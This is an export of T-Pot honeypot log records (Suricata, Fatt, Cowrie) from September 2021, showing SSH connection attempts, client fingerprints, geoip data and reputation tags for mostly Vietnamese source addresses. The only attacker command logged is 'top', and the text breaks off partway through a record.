27930	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:15:55.66473+03	2021-09-20 14:30:02.167525+03	{"_id": "oAbrAnwBvYTbRNuEbytY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 825715740785369, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55460, "dest_port": 22, "timestamp": "2021-09-20T11:15:55.664730Z", "@timestamp": "2021-09-20T11:15:55.664Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27931	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:55.751216+03	2021-09-20 14:30:02.169523+03	{"_id": "pQbrAnwBvYTbRNuEcCug", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53846, "timestamp": "2021-09-20T11:15:55.751216", "@timestamp": "2021-09-20T11:15:55.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27932	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:56.220831+03	2021-09-20 14:30:02.170523+03	{"_id": "pAbrAnwBvYTbRNuEcCuf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54956, "timestamp": "2021-09-20T11:15:56.220831", "@timestamp": "2021-09-20T11:15:56.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27933	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:55.98292+03	2021-09-20 14:30:02.171523+03	{"_id": "qgbrAnwBvYTbRNuEcStq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:55.982920Z", "@timestamp": "2021-09-20T11:15:55.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27934	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:55.983462+03	2021-09-20 14:30:02.172524+03	{"_id": "qwbrAnwBvYTbRNuEcStq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:55.983462Z", "@timestamp": "2021-09-20T11:15:55.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27935	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:56.383299+03	2021-09-20 14:30:02.173523+03	{"_id": "rAbrAnwBvYTbRNuEcStq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9316f4dcf3e4", "@version": "1", "timestamp": "2021-09-20T11:15:56.383299Z", "@timestamp": "2021-09-20T11:15:56.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27936	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:56.16165+03	2021-09-20 14:30:02.175523+03	{"_id": "rQbrAnwBvYTbRNuEcStr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:33074 (192.168.176.2:22) [session: 9316f4dcf3e4]", "session": "9316f4dcf3e4", "@version": "1", "protocol": "ssh", "src_port": 33074, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.161650Z", "@timestamp": "2021-09-20T11:15:56.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27937	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:56.215509+03	2021-09-20 14:30:02.176524+03	{"_id": "rgbrAnwBvYTbRNuEcStr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:54956 (192.168.176.2:22) [session: 9ee0978bc491]", "session": "9ee0978bc491", "@version": "1", "protocol": "ssh", "src_port": 54956, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.215509Z", "@timestamp": "2021-09-20T11:15:56.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27938	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:56.68532+03	2021-09-20 14:30:02.177524+03	{"_id": "rwbrAnwBvYTbRNuEcStr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35632 (192.168.176.2:22) [session: c13b2449c12d]", "session": "c13b2449c12d", "@version": "1", "protocol": "ssh", "src_port": 35632, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.685320Z", "@timestamp": "2021-09-20T11:15:56.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27939	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:56.218561+03	2021-09-20 14:30:02.179524+03	{"_id": "sAbrAnwBvYTbRNuEcStr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9ee0978bc491", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:56.218561Z", "@timestamp": "2021-09-20T11:15:56.218Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27945	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:53.207494+03	2021-09-20 14:30:02.186523+03	{"_id": "fwbrAnwBvYTbRNuEZSuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:47658 (192.168.176.2:22) [session: a108cc9b3fd7]", "session": "a108cc9b3fd7", "@version": "1", "protocol": "ssh", "src_port": 47658, "dest_port": 22, "timestamp": "2021-09-20T11:15:53.207494Z", "@timestamp": "2021-09-20T11:15:53.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27940	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:56.512273+03	2021-09-20 14:30:02.180523+03	{"_id": "sQbrAnwBvYTbRNuEcStr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9ee0978bc491", "@version": "1", "timestamp": "2021-09-20T11:15:56.512273Z", "@timestamp": "2021-09-20T11:15:56.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27941	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:56.245138+03	2021-09-20 14:30:02.181523+03	{"_id": "xQbrAnwBvYTbRNuEcStr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9316f4dcf3e4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:56.245138Z", "@timestamp": "2021-09-20T11:15:56.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27942	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:56.961388+03	2021-09-20 14:30:02.182523+03	{"_id": "xgbrAnwBvYTbRNuEcytB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1630564694900780, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35632, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.961388Z", "@timestamp": "2021-09-20T11:15:56.961Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27943	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:56.963449+03	2021-09-20 14:30:02.183523+03	{"_id": "ywbrAnwBvYTbRNuEdCuJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 